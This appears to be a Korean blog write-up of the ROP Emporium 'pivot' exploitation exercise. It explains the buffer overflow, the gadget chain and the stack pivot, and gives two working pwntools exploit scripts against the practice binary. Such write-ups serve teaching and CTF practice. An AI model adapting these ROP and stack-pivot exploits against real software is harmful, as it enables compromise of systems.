# 보호기법 / file
NX enabled : 쉘코드 실행 권한 X
Partial RELRO : GOT Overwrite 가능
$ ldd pivot : 확인해봤을 때 libc base 주소 계속 바뀜 -> ASLR 걸려있음
$ file pivot : dynamically linked, no stripped
# Process
uselessFunction 함수를 어셈블리 코드로 확인해보면 역시 아래 usefulGadgets이 있다.
- mov rax, [rax] ; ret : rax 레지스터 주소에 적힌 값을 rax 레지스터에 넣는다.
만약 rax 레지스터 값이 got면 got에 적힌 함수 주소 값이 rax 레지스터에 적힐 것이다.
- pop rax ; ret : x64 아키텍쳐에서 rdi, rsi, rdx, rax 순이므로 4번째 인자 값을 레지스터에 넣는 것
- add rax, rbp ; ret : rax 레지스터 값과 rbp 레지스터 값을 + 연산해서 rax 레지스터에 값으로 넣는다.
(첫 번째 operand는 저장할 수 있는 reg 또는 mem이어야 함)
pwnme() 함수가 취약점이 있는 코드이다. fgets에서 s 배열의 크기는 0x20인데 0x40을 표준입력받으므로 BOF 취약점이 존재한다.
1. return address -> ret2win
출력해주는 addr와 ret2win 사이의 offset을 구할 수 있다.
이 offset으로 ret2win 주소를 구한다.
ret2win에서 인자로 넣는 주소 값을 string으로 확인해보면 /bin/cat flag.txt가 있다.
따라서 ret2win()함수는 system(“/bin/cat flag.txt”) 명령어를 실행하고 exit(0)하는 함수임을 알 수 있다.
목표는 libc leak으로 ret2win() 함수의 실행 시 주소를 구하고 return address를 ret2win() 함수 주소로 덮어서 flag를 출력하는 것이다.
출력해주는 주소를 leak해서 구한 ret2win() 함수와의 offset으로 ret2win() 함수의 실행 시 주소를 구하고 두 번째 fgets 때 return address를 ret2win() 함수 주소로 덮었더니 flag가 출력됐다!
위의 방법은 useful gadget을 사용하지 않으므로 정석 방법으로도 풀어봤다.
2. stack pivot
문제의 설명을 읽어보면 foothold_function의 PLT와 GOT를 사용라고 한다.
stack pivot은 2 stage로 진행하는데 먼저 2nd stage 후 1st stage로 페이로드를 구성한다.
1. foothold_function 호출
ret2win을 호출하는 것과 무슨 차이가 있나 봤더니 ret2win에서는 foothold_function이 인자로 넣는 주소에서 몇 바이트 뒤에 flag 출력 주소가 있다면 ret2win은 바로 flag 출력하는 명령어 주소를 가져온다.
2. rax 레지스터에 foothold_function got 넣는다.
3. mov rax, [rax] ; ret 사용. 그럼 rax 레지스터에 got에 적힌 주소가 들어감. foothold_function의 libc 주소이다.
4. pop rbp ; ret 으로 rbp에 0x14e 넣는다.
5. ret2win은 플래그 출력 함수. 따라서 add rax, rbp ; ret 함수로 rax에 0x14e 더해서 ret2win주소 넣을 수 있다.
6. call rax로 ret2win으로 이동
두번째 페이로드
1. SFP에 pop rax ; ret으로 pivot 주소 넣는다.
2. xchg rax, rsp ; ret으로 rax에 rsp가 가리키는 데이터 넣고, rsp에 rax가 가리키는 데이터 넣는다.
그리고 이 pivot에는 foothold_function plt가 적혀있다.
6개 과정의 첫번째 페이로드 진행 후 플래그를 출력해준다.
두 번째가 실질적으로는 앞에 위치한다.
pop rax로 rax 레지스터에 pivot을 넣고 rsp에 rax가 가진 데이터, 즉 pivot 주소를 넣으면 pivot으로 이동한다.
이게 leave ret에서 leave 부분 그리고 ret 시 이동하는 것이다.
그럼 stage2로 이동, 즉 footfunction 호출 첫 번째 fgets에서는 foothold_function을 호출한다. 호출하면 그리고 마지막에 call rax로 rax가 ret2win이므로 ret2win을 호출해서 플래그가 출력된다!
(leave ret이 함수에 있으면 보통 한 번 더 한다고 생각하면 된다. leave ret이 두 번)
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./pivot")
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
pop_rdi = 0x400b73
p.recvuntil(": ")
addr = int(p.recv(14), 16)
log.info("addr : "+hex(addr))
ret2win = addr + 0x3cbbae
log.info("ret2win : "+hex(ret2win))
p.sendlineafter("> ", 'A')
p.sendlineafter("> ", 'A'*(0x20+0x8) + p64(ret2win))
p.interactive()
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./pivot")
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
pop_rdi = 0x400b73
pop_rax = 0x400b00
mov_rax_rax = 0x400b05
add_rax_rbp = 0x400b09
leave_ret = 0x400ae0
call_rax = 0x40098e
xchg_rax_rsp = 0x400B02
pop_rbp = 0x00400900
p.recvuntil(": ")
pivot = int(p.recv(14), 16)
log.info("addr : "+hex(pivot))
gdb.attach(p)
# ret2win
pay = p64(elf.plt['foothold_function'])
pay += p64(pop_rax) + p64(elf.got['foothold_function'])
pay += p64(mov_rax_rax)
pay += p64(pop_rbp) + p64(0x14e)
pay += p64(add_rax_rbp)
pay += p64(call_rax)
p.sendlineafter("> ", pay)
pay = 'A'*(0x20+0x8)
pay += p64(pop_rax) + p64(pivot)
pay += p64(xchg_rax_rsp)
p.sendlineafter("> ", pay)
p.interactive()
[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP) (0) | 2020.05.27 |
---|---|
[HITCON-Training] lab9 playfmt (Double Staged FSB) (1) | 2020.05.04 |
Limited Book (0) | 2020.03.26 |
[ROP Emporium] write4 (32bit, 64bit) (0) | 2020.03.25 |
[ROP Emporium] callme (32bit, 64bit) (0) | 2020.03.25 |